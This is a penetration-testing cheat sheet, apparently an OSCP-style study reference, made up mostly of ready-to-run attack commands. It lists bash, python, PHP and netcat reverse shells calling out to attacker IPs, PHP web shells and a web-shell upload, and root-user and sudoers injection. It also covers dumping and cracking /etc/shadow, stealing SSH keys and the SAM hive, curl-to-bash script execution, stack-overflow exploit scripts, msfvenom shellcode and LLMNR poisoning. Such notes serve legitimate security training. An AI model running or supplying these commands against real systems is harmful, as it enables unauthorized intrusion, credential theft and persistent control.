Pentest Cheat Sheet

Linux Check-list

Windows Check-list

More useful notes on Pentesting

The hacking bible - hacktricks

TJnull’s Preparation Guide for PWK/OSCP

Introduction · Total OSCP Guide - sushant747

Another Pentest-Cheat-Sheet

Orange Cyber Security Arsenal

Scanning & Enumeration

Scanning with nmap

nmap -T4 -p- -A
nmap -sV -sC -oA $file $IP

nmap Scripting Language

nmap -p $PORT --script $NAME -oA $IP

Script names can be: safe, vuln, discovery, version,brute, intrusive, auth, broadcast

Enumerating SMB

SMB client

smbclient -L \\\\192.168.57.134\\
smbclient \\\\192.168.57.134\\FileShare

To download all of the files in a share
smbclient //192.168.57.134/FileShare
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse IP

SMB map

smbmap -u USER -H IP
smbmap -H IP -R --depth 5

search for files
smbmap -R FOLDER -H IP

download files
smbmap -R FOLDER -H IP -A Group.xml -q

using creds
smbmap -d active.htb -u user -p password -H IP

To mount smb shares

mount -t cifs //IP/folder /mnt/smb
mount -t cifs -o username=USER //IP//SHARE /mnt/smb

Brute force smb login

msf5 > use auxiliary/scanner/smb/smb_login
msf5 auxiliary(scanner/smb/smb_login) > set pass_file wordlist
pass_file => wordlist
msf5 auxiliary(scanner/smb/smb_login) > set USER_file users.txt
USER_file => users.txt
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS fuse.htb
msf5 auxiliary(scanner/smb/smb_login) > run

Find creds and run smb client again

Enumerating using rpcclient

rpcclient -U DOMAIN\\user IP

rpcclient $> enumdomusers
rpcclient $> enumprivs
rpcclient $> enumprinters

Enumerating Mounts(RPCbind)

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.148.131

Enumerating NFS

to list the NFS shares

/usr/sbin/showmount -e [IP]

to mount shares

sudo mount -t nfs 10.10.143.241:home /tmp/mount/ -nolock

Enumerating rsync


nmap -sV --script "rsync-list-modules" -p <PORT> <IP>

rsync --list-only rsync://rsync-connect@$IP/
rsync -av --list-only rsync://$IP:873
rsync -av --list-only rsync://192.168.0.123/shared_name

Copy all files

rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Creating a folder and copying the files

rsync -a /root/thm/authorized_keys rsync://rsync-connect@$IP/files/sys-internal/.ssh/

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

Enum4Linux

Enum telnet

telnet IP PORT

check for pings (tcpdump)

Listener
sudo tcpdump ip proto \\icmp -i tun0

ping IP -c 1

FTP

ftp IP
anonymous login
enable binary mode
binary

Downloading FTP

wget --user USER --password PASSWORD -r ftp://IP

telnet over FTP

telnet IP PORT
site cpfr /path-of-file/folder-to-copy
site cpto /path-where-to-copy

LDAP

To get the domain name
ldapsearch -x h IP -s base namingcontexts

To get the domain information
ldapsearch -x h IP -s sub -b 'DC=cascade,DC=local'

Additional Scanning Tools

Masscan

mass -p1-65535 --rate 1000 192.168.57.134

Autorecon

https://github.com/Tib3rius/AutoRecon

Information Gathering (Reconnaissance)

Target Validation WHOIS, nslookup, dnsrecon

Finding Subdomains Google FU, dig, Nmap, Sublist3r, Bluto, crt.sh, etc

Fingerprinting Nmap, Wappalyzer, WhatWeb, BuiltWith, Netcat

Data Breaches HaveIBeenPwned, Breach-Parse, WeLeakInfo

Email Gathering Hunter.io

DNS Enumeration

DNS Recon

dnsrecon -r 127.0.0.0/24 -n IP -d anything(domain)

Domain Lookups

The Harvester

theharvester -d tesla.com -l 500 -b google

Web Information Gathering

Enumeration

Enum4linux

enum4linux -a $IP

PSpy

pspy - unprivileged Linux process snooping

Reverse Shell

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php system($_GET['cmd']); ?>
echo system($_REQUEST['cmd']); #Add the php tags
/file.php?cmd=whoami

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

python-pty-shells

https://github.com/infodox/python-pty-shells

Edit tcp_pty_backconnect.py

On Victim
wget IP:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py

On Attacker
python tcp_pty_shell_handler.py -b IP:PORT

On Victim
python /dev/shm/.rev.py

Netcat

nc -e /bin/sh 10.0.3.4 9001

Listen with

nc -lvnp 9001
nc -e /bin/bash 10.0.0.1 4242
nc -c bash 10.0.0.1 4242

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f

Downloading files with netcat

Open receiving connection

nc -lvnp 1234 > file.zip

Send the file over

nc -w 4 <your_hackthebox_ip> 1234 < file_name.zip

MSFvenom

Improving Shells

python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

/usr/bin/script -qc /bin/bash /dev/null

echo os.system('/bin/bash')

/bin/sh -i

Once bash is running in the PTY, background the shell with Ctrl-Z

While the shell is in the background, now examine the current terminal and STTY

echo $TERM
stty -a
stty raw -echo
fg

Set the shell, terminal type and stty size to match our current Kali window (from the info gathered above)

reset
$ export SHELL=bash
$ export TERM=xterm256-color
$ stty rows 38 columns 116

Privesc

LinEnum

python -m SimpleHTTPServer 8000
curl IP:8000/linenum.sh | bash

Add -t for a thorough check

Linux priv checker

linux-smart-enumeration

Unlike LinEnum, lse tries to gradualy expose the information depending on its importance from a privesc point of view.

https://github.com/diego-treitos/linux-smart-enumeration

Useful commands

Obtain the kernel version

uname -a

Check for misconfigurations in permissions

whoami

id

sudo -l

history

Find processes running as root

ps -ef | grep root

Process log files

cat file | awk '{print 7}' | sort | uniq -c

Network enumeration

Find network cards, routes and reachable networks

ip addr
ip route
ip neigh

See running ports

netstat -tunlp

netstat -ano

Add sudo password hash

A user with password toor

$ openssl passwd -1 -salt salt password

echo 'user1:sXuCKi7k3Xh/s:0:0::/root:/bin/bash' > /tmp/hack
append /tmp/hack to /etc/passwd

Add user to sudoers

echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers

SUID bit add to /bin/bash

echo "chmod 4777 /bin/bash" >> backup.sh

as root

cp /bin/bash /tmp/bash; chmod +s /tmp/bash

Finding SUID bits

find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -ls 2>/dev/null

Finding writable dirs

find /-writable -type d 2>/dev/null

Find file

find / -name id_rsa 2>/dev/null

TCP Dump

cd /tmp
tcpdump -D
tcpdump -w file.pcap -i lo

PSPY32

pspy32 script which is a little command-line script which basically monitors scheduled Linux processes

cd /tmp
upload /pspy32
python -c 'import pty;pty.spawn("/bin/bash")'
chmod 777 pspy32
./pspy32

PATH variable exploitation

cd /tmp

echo "/bin/bash" > ps
chmod 777 ps

or 

cp /bin/sh /tmp/ps

echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami

Capabilities

getcap -r / 2>/dev/null

NFS Root Squashing

cat /etc/exports

check for no_root_squash

On the attacker machine
mount -o rw, vers=2 ATTACKER_IP:/tmp /mount/attacker

Port Forwarding

ss -tulpn it will tell us what socket connections are running

To forward a port

ssh -L 10000:localhost:10000 <username>@<ip>

Meterpreter

portfwd add -l 22 -p 22 -r 127.0.0.1

-l is our local port we want to use. -p is the remote port we want to get access to. -r is the remote address

socat binary

/tmp/socat tcp-listen:8888,reuseaddr,fork tcp:localhost:22

Getting Started with Socat

linuxprivchecker.py -- a Linux Privilege Escalation Check Script

Basic Linux Privilege Escalation

Linux Privilege Escalation using SUID Binaries

A guide to Linux Privilege Escalation

Buffer Overflow

Test Overflow

./binary `python -c 'print "A"*500'`

Open binary with gdb

First install Python Exploit Development Assistance for GDB.

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
gdb ./binary
gdb# b main
gdb# r

Identify if host has ASLR

ASLR - when the address for libc keeps changing.

ldd binary | grep libc (run multiple times and check if address changes)

Disable ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

Create patterns

Create a pattern tht never repeats/ unique string.

locate pattern_
pattern_create.rb -l 200

Pass argument to binary

gdb ./binary
gdb# r '$PATTERN'

Copy memory addres of the crash

pattern_offset.rb -q 0x64413764   #(Address)
Found match at offset 112

Start buffer overflow script

import struct

buf = "A" * 112
buf += struct.pack("<I",0xd3adc0d3)

print buf
gdb ./binary
gdb# r 'python buff.py'

Find important addresses

On Victim machine

ldd ovrfl | grep libc #returns the libc address and location
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i system # get system@@GLIBC offset address
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -i exit # get exit@@GLIBC offset address
strings -atx /lib/i386-linux-gnu/libc.so.6 | grep bin/sh # get bin/sh string offset address

Or using gdb in similar VM (ASLR is on)

#include <stdlib.h>
 void main() {
     system("/bin/sh");
 }
gcc retlib.c -o retlibc
gdb ./retlib
#gdb p system   #get system address
#gdb p exit   #get exit address
#gdb searchmem /bin/sh #get /bin/sh address
#gdb find 0xf7e0c980, +9999999, "/bin/sh"  #get /bin/sh address

Additions to script

import struct

system_addr = struct.pack("<I",0x88482f8)
exit_addr = struct.pack("<I",0xd3adc0d3)
arg_addr = struct.pack("<I",0x88482f8)

buf = "A" * 112
buf += system_addr
buf += exit_addr
buf += arg_addr

print buf
gdb# r 'python buff.py'

Bruteforce ASLR

On the actual host grab one of the libc addresses.

from subprocess import call
import struct

libc_base_addr = 0x88482f8

system_off = 0xd3adc0d3
exit_off = 0xd3adc0d3
arg_sh = 0xd3adc0d3

system_addr = struct.pack("<I",libc_base_addr + system_off)
exit_addr = struct.pack("<I", libc_base_addr + exit_off)
arg_addr = struct.pack("<I",libc_base_addr + arg_sh)

buf = "A" * 112
buf += system_addr
buf += exit_addr
buf += arg_addr

i=0
while (i < 512):
    print "Try: %s" %i
    i +=1
    ret = call(["/usr/local/bin/ovrflw",buf])

If ASLR is off the script will work without the loop and with the print at the end

./binary $(python /dev/shm/exploit.py)

Check-list

Info-sheet

  • DNS-Domain name:
  • Host name:
  • OS:
  • Server:
  • Kernel:
  • Workgroup:
  • Windows domain:

Services and ports: INSERTTCPSCAN

Recon

Always start with a stealthy scan to avoid closing ports.

# Syn-scan
nmap -sS INSERTIPADDRESS

# Scan all ports, might take a while.
nmap INSERTIPADDRESS -p-

# Service-version, default scripts, OS:
nmap INSERTIPADDRESS -sV -sC -O -p 111,222,333

# Scan for UDP
nmap INSERTIPADDRESS -sU
unicornscan -mU -v -I INSERTIPADDRESS

# Connect to udp if one is open
nc -u INSERTIPADDRESS 48772

# Monster scan
nmap INSERTIPADDRESS -p- -A -T4 -sC

Port 21 - FTP

  • FTP-Name:
  • FTP-version:
  • Anonymous login:

INSERTFTPTEST

nmap --script=ftp-anon,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 INSERTIPADDRESS

Port 22 - SSH

  • Name:
  • Version:
  • Takes-password:
  • If you have usernames test login with username:username

INSERTSSHCONNECT

nc INSERTIPADDRESS 22

Port 25

  • Name:
  • Version:
  • VRFY:

INSERTSMTPCONNECT

nc -nvv INSERTIPADDRESS 25
HELO foo<cr><lf>

telnet INSERTIPADDRESS 25
VRFY root

nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 INSERTIPADDRESS

Port 69 - UDP - TFTP

This is used for tftp-server.

Port 110 - Pop3

  • Name:
  • Version:

INSERTPOP3CONNECT

telnet INSERTIPADDRESS 110
USER pelle@INSERTIPADDRESS
PASS admin

or:

USER pelle
PASS admin

# List all emails
list

# Retrieve email number 5, for example
retr 9

Port 111 - Rpcbind

rpcinfo -p INSERTIPADDRESS

Port 135 - MSRPC

Some versions are vulnerable.

Port 143 - Imap

Port 139/445 - SMB

  • Name:
  • Version:
  • Domain/workgroup name:
  • Domain-sid:
  • Allows unauthenticated login:
nmap --script=smb-enum-shares.nse,smb-ls.nse,smb-enum-users.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-security-mode.nse,smbv2-enabled.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse INSERTIPADDRESS -p 445


enum4linux -a INSERTIPADDRESS
rpcclient -U "" INSERTIPADDRESS
	srvinfo
	enumdomusers
	getdompwinfo
	querydominfo
	netshareenum
	netshareenumall

smbclient -L INSERTIPADDRESS
smbclient -U username -L INSERTIPADDRESS
smbclient //INSERTIPADDRESS/tmp
smbclient \\\\INSERTIPADDRESS\\ipc$ -U john
smbclient //INSERTIPADDRESS/ipc$ -U john

Port 161/162 UDP - SNMP

nmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes INSERTIPADDRESS
snmp-check -t INSERTIPADDRESS -c public
# Common community strings
public
private
community

Port 554 - RTSP

Port 1030/1032/1033/1038

Used by RPC to connect in domain network.

Port 1521 - Oracle

  • Name:
  • Version:
  • Password protected:
tnscmd10g version -h INSERTIPADDRESS
tnscmd10g status -h INSERTIPADDRESS

Port 2049 - NFS

showmount -e INSERTIPADDRESS

If you find anything you can mount it like this:

mount INSERTIPADDRESS:/ /tmp/NFS
mount -t INSERTIPADDRESS:/ /tmp/NFS

Port 2100 - Oracle XML DB

  • Name:
  • Version:
  • Default logins:
sys:sys
scott:tiger

Default passwords https://docs.oracle.com/cd/B10501_01/win.920/a95490/username.htm

3306 - MySQL

  • Name:
  • Version:
nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse INSERTIPADDRESS -p 3306

mysql --host=INSERTIPADDRESS -u root -p

Port 3339 - Oracle web interface

  • Basic info about web service (apache, nginx, IIS)
  • Server:
  • Scripting language:
  • Apache Modules:
  • IP-address:

Port 80 - Web server

  • Server:
  • Scripting language:
  • Apache Modules:
  • IP-address:
  • Domain-name address:

INSERTCURLHEADER

  • Web application (ex, wordpress, joomla, phpmyadmin)
  • Name:
  • Version:
  • Admin-login:
# Nikto
nikto -h http://INSERTIPADDRESS

# Nikto with squid proxy
nikto -h INSERTIPADDRESS -useproxy http://INSERTIPADDRESS:4444

# CMS Explorer
cms-explorer -url http://INSERTIPADDRESS -type [Drupal, WordPress, Joomla, Mambo]

# WPScan (vp = Vulnerable Plugins, vt = Vulnerable Themes, u = Users)
wpscan --url http://INSERTIPADDRESS
wpscan --url http://INSERTIPADDRESS --enumerate vp
wpscan --url http://INSERTIPADDRESS --enumerate vt
wpscan --url http://INSERTIPADDRESS --enumerate u

# Joomscan
joomscan -u  http://INSERTIPADDRESS
joomscan -u  http://INSERTIPADDRESS --enumerate-components

# Get header
curl -i INSERTIPADDRESS

# Get everything
curl -i -L INSERTIPADDRESS

# Check for title and all links
curl INSERTIPADDRESS -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'

# Look at page with just text
curl INSERTIPADDRESS -s -L | html2text -width '99' | uniq

# Check if it is possible to upload
curl -v -X OPTIONS http://INSERTIPADDRESS/
curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://INSERTIPADDRESS/test/shell.php

dotdotpwn.pl -m http -h INSERTIPADDRESS -M GET -o unix

Nikto scan

INSERTNIKTOSCAN

Url brute force

# Not recursive
dirb http://INSERTIPADDRESS -r -o dirb-INSERTIPADDRESS.txt

# Gobuster - remove relevant responde codes (403 for example)
gobuster -u http://INSERTIPADDRESS -w /usr/share/seclists/Discovery/Web_Content/common.txt -s '200,204,301,302,307,403,500' -e

INSERTDIRBSCAN

Default/Weak login

Search documentation for default passwords and test them

site:webapplication.com password
admin admin
admin password
admin <blank>
admin <servicename>
root root
root admin
root password
root <servicename>
<username if you have> password
<username if you have> admin
<username if you have> username
username <servicename>

LFI/RFI

fimap -u "http://INSERTIPADDRESS/example.php?test="

# Ordered output
curl -s http://INSERTIPADDRESS/gallery.php?page=/etc/passwd
/root/Tools/Kadimus/kadimus -u http://INSERTIPADDRESS/example.php?page=

SQL-Injection

# Post
./sqlmap.py -r search-test.txt -p tfUPass

# Get
sqlmap -u "http://INSERTIPADDRESS/index.php?id=1" --dbms=mysql

# Crawl
sqlmap -u http://INSERTIPADDRESS --dbms=mysql --crawl=3

Sql-login-bypass

  • Open Burp-suite
  • Make and intercept a request
  • Send to intruder
  • Cluster attack.
  • Paste in sqlibypass-list (https://bobloblaw.gitbooks.io/security/content/sql-injections.html)
  • Attack
  • Check for response length variation

Password brute force - last resort

cewl

Port 443 - HTTPS

Heartbleed:

# Heartbleed
sslscan INSERTIPADDRESS:443

Vulnerability analysis

Now we have gathered information about the system. Now comes the part where we look for exploits and vulnerabilites and features.

To try - List of possibilies

Add possible exploits here:

Find sploits - Searchsploit and google

Where there are many exploits for a software, use google. It will automatically sort it by popularity.

site:exploit-db.com apache 2.4.7

# Remove dos-exploits

searchsploit Apache 2.4.7 | grep -v '/dos/'
searchsploit Apache | grep -v '/dos/' | grep -vi "tomcat"

# Only search the title (exclude the path), add the -t
searchsploit -t Apache | grep -v '/dos/'

'''''''''''''''''''''''''''''''''' PRIVESC '''''''''''''''''''''''''''''''''


Privilege escalation

Now we start the whole enumeration-process over gain.

  • Kernel exploits
  • Programs running as root
  • Installed software
  • Weak/reused/plaintext passwords
  • Inside service
  • Suid misconfiguration
  • World writable scripts invoked by root
  • Unmounted filesystems

Less likely

  • Private ssh keys
  • Bad path configuration
  • Cronjobs

To-try list

Here you will add all possible leads. What to try.

Useful commands

# Spawning shell
python -c 'import pty; pty.spawn("/bin/sh")'

# Access to more binaries
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

# Set up webserver
cd /root/oscp/useful-tools/privesc/linux/privesc-scripts; python -m SimpleHTTPServer 8080

# Download all files
wget http://192.168.1.101:8080/ -r; mv 192.168.1.101:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linprivchecker.py unix-privesc-check

./LinEnum.sh -t -k password -r LinEnum.txt
python linprivchecker.py extended
./unix-privesc-check standard


# Writable directories
/tmp
/var/tmp


# Add user to sudoers
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers

Basic info

  • OS:
  • Version:
  • Kernel version:
  • Architecture:
  • Current user:

Devtools:

  • GCC:
  • NC:
  • WGET:

Users with login:

uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts

# Users with login
grep -vE "nologin" /etc/passwd

# Priv Enumeration Scripts


upload /unix-privesc-check
upload /root/Desktop/Backup/Tools/Linux_privesc_tools/linuxprivchecker.py ./
upload /root/Desktop/Backup/Tools/Linux_privesc_tools/LinEnum.sh ./

python linprivchecker.py extended
./LinEnum.sh -t -k password
unix-privesc-check

Kernel exploits

site:exploit-db.com kernel version

perl /root/oscp/useful-tools/privesc/linux/Linux_Exploit_Suggester/Linux_Exploit_Suggester.pl -k 2.6

python linprivchecker.py extended

Programs running as root

Look for webserver, mysql or anything else like that.

# Metasploit
ps

# Linux
ps aux

Installed software

/usr/local/
/usr/local/src
/usr/local/bin
/opt/
/home
/var/
/usr/src/

# Debian
dpkg -l

# CentOS, OpenSuse, Fedora, RHEL
rpm -qa (CentOS / openSUSE )

# OpenBSD, FreeBSD
pkg_info

Weak/reused/plaintext passwords

  • Check database config-file
  • Check databases
  • Check weak passwords
username:username
username:username1
username:root
username:admin
username:qwerty
username:password
  • Check plaintext
./LinEnum.sh -t -k password

Inside service

# Linux
netstat -anlp
netstat -ano

Suid misconfiguration

Binary with suid permission can be run by anyone, but when they are run they are run as root!

Example programs:

nmap
vim
nano
find / -perm -u=s -type f 2>/dev/null

Unmounted filesystems

Here we are looking for any unmounted filesystems. If we find one we mount it and start the priv-esc process over again.

mount -l

Cronjob

Look for anything that is owned by privileged user but writable for you

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

SSH Keys

Check all home directories

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

Bad path configuration

Require user interaction


----------------------------- LOOT LOOT LOOT LOOT ----------------------


Loot

Checklist

  • Proof:
  • Network secret:
  • Passwords and hashes:
  • Dualhomed:
  • Tcpdump:
  • Interesting files:
  • Databases:
  • SSH-keys:
  • Browser:
  • Mail:

Proof

/root/proof.txt

Network secret

/root/network-secret.txt

Passwords and hashes

cat /etc/passwd
cat /etc/shadow

unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

Dualhomed

ifconfig
ifconfig -a
arp -a

Tcpdump

tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 192.168.1.X and dst not 192.168.1.X
tcpdump -vv -i eth0 src not 192.168.1.X and dst not 192.168.1.X

Interesting files

#Meterpreter
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql

.ssh:
.bash_history

Databases

SSH-Keys

Browser

Mail

/var/mail
/var/spool/mail

GUI

If there is a gui we want to check out the browser.

echo $DESKTOP_SESSION
echo $XDG_CURRENT_DESKTOP
echo $GDMSESSION

How to replicate:

Reconnaissance

Windows

dir /s flag.txt to find files in current directory and subdirectories named flag.txt.

Active Directory

Tool

Ldapsearch

ldapsearch -h <host> -p 389 -x -b "dc=cascade,dc=local" "(&(objectClass=user)(sAMAccountName=userid))" 

Net User Domain

net user /domain

Find domain and local admin

net localgroup administrators

CMDLETS

Get-ADUser

The command reveals that the user is a member of the Audit Share group, and also that the logon script MapAuditDrive.vbs is assigned to this account. Active Directory logon scripts are saved in the NETLOGON share by default)

*Evil-WinRM* PS C:\Users\s.smith\Desktop> Get-ADUser -identity s.smith -properties * 

Filter - Parameter that allows more controll over enumeration and use the Format-Table.

Get-ADUser -Filter 'Name -like "*stevens*"' -Server ad.server.com | Format-Table Name,SamAccountName -A

If we wanted to, for example, perform a password spraying attack without locking out accounts, we can use this to enumerate accounts that have a badPwdCount that is greater than 0, to avoid these accounts in our attack:

 Get-ADObject -Filter 'badPwdCount -gt 0' -Server ad.server.com
Further cmdlets

Get-ADGroup, Get-ADGroupMember, Get-ADObject, Get-ADDomain

File Upload

SMB Server

On attacker box share current directory

sudo impacket-smbserver a .

On target box copy file to share

cd %tmp%
copy \\10.11.9.134\a\winPEAS.bat
sudo python3 /opt/impacket/examples/smbserver.py share . -smb2support -username user -password s3cureP@ssword

net use \\10.50.195.170\share /USER:user s3cureP@ssword
copy \\10.50.195.170\share\Wrapper.exe %TEMP%\wrapper-USERNAME.exe
"%TEMP%\wrapper-USERNAME.exe"
Move files to attacker machine

reg.exe save HKLM\SAM \\ATTACKING_IP\share\sam.bak
or
move sam.bak \\ATTACKING_IP\share\sam.bak

Downloading winPEAS files with Certutil

winPEAS/winPEASexe/binaries/x64/Release/winPEASx64.exe

certutil -urlcache -f http://10.10.15.5/winPEASx64.exe winpeas.exe

FTP

python -m pyftplib 21 (attacker machine)
ftp ATTACKER_IP

HTTP

python2 -m SimpleHTTPServer 8000

Buffer Overflow

Spiking

nc -nv IP PORT

Find the available commands and start spiking to find vulnerable command

generic_send_tcp HOST PORT stats.spk 0 0

Fuzzing

#!/usr/bin/python
import socket

buffer = ["A"]

counter = 100

while len(buffer) <=30:
    buffer.append("A" * counter)
    counter = counter + 100

for string in buffer:
    print "Fuzzing with %s bytes" % len(string)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    connect = s.connect(('10.10.153.41',31337))
    s.send(string + '\r\n')
    data = s.recv(1024)
    s.close()

Finding the Offset

/usr/share/metasploit-framework/tools/exploits/pattern_create.rb -l CRASHBYTES

Copy the output and paste value into the buffer variable in the script.

Run the script and find the EIP overwritten value (Ex: 35724134)

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 35724134

Get exact match for the offset

Or using mona

!mona findmsp -distance CRASHBYTES

Overwrite the EIP

> [*] Exact match at offset 524

Great! Now our payload will be as follow "A"*524 + "B"*4 + badchars. Updated script gives following result:

## Finding bad characters

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

The first of all we should remove from our payload \x00(null byte - break everything what is next) and \x90 (No Operation - do nothing)

Add badchars to script right after the EIP

Follow ESP Hex dump and see what values are missing. (In imunity debugger)

Find the bad chars and keep removing them from the script and repeating the process.

Or making use of mona simply run the following command

!mona bytearray -b "\x00"

Run the script and take not of the memory address to which the ESP register points. Then use it in the following command:

!mona compare -f C:\mona\oscp\bytearray.bin -a 0124FA18

Not all of these might be bad chars! Sometimes bad chars cause the next byte to get corrupted as well, or even affect the rest of the string. Use trial and error.

Finding the right ESP jump instruction

Import mona modules into Immunity debugger

GitHub - corelan/mona: Corelan Repository for mona.py

In Immunity debugger

!mona jmp -r esp
Or browse Window->Log Data

From this command retrieve the JMP address (080414C3). Convert big endian into little endian. 080414C3 --> c3140408

Alternatively

In Immunity debugger

!mona modules

Find modules with protection settings set to false and attatched to the process. (essdunc.dll in this case)

HEX Code equivalent to JMP ESP is FFE4 With this information we can find the JMP address in the dll

!mona find -s "\xff\xe4" -m essdunc.dll

Retrieve the return addresses for the JMP address

Now, we find our JMP ESP address - 311712F3 So, our payload will be as follow: "A" * 2003 + "\xf3\x12\x17\x31" + "\x90" * 32 + shell_code.. Also add a few \x90 NOP values before the shell code. Note that the JMP address is in reverse

## Generate shell code

Test by first trying to open the calculator

msfvenom -p windows/exec -b "\x00" -f python --var-name shellcode CMD=calc.exe EXITFUNC=thread

For windows boxes:

 msfvenom -p windows/shell_rever se_tcp LHOST= LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

  msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -f python c -a x86 -b "\x00\x0a"

For Linux box:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.8.26.76 LPORT=9001 -f c -a x86 --platform linux -b "\x00" -e x86/shikata_ga_nai

Note the bad characters. Copy the payload result. Also available: linux/x86/shell_reverse_tcp.

Lastly run the exploit and listen for connections:

nc -nvlp 4444

Additional reading

dostackbufferoverflowgood/dostackbufferoverflowgood_tutorial.pdf at master · justinsteven/dostackbufferoverflowgood · GitHub

Active Directory

Top Five Ways I Got Domain Admin on Your Internal Network before Lunch (2018 Edition)

LLMNR Poisoning

LLMNR is like DNS on an internal windows network Listen for connections on wrong network drives and retrieve hashes

  • https://github.com/lgandx/Responder

(Impacket toolkit required)

sudo responder.py -I eth0 -Pv 

Password cracking with hashcat (NTLMv2)

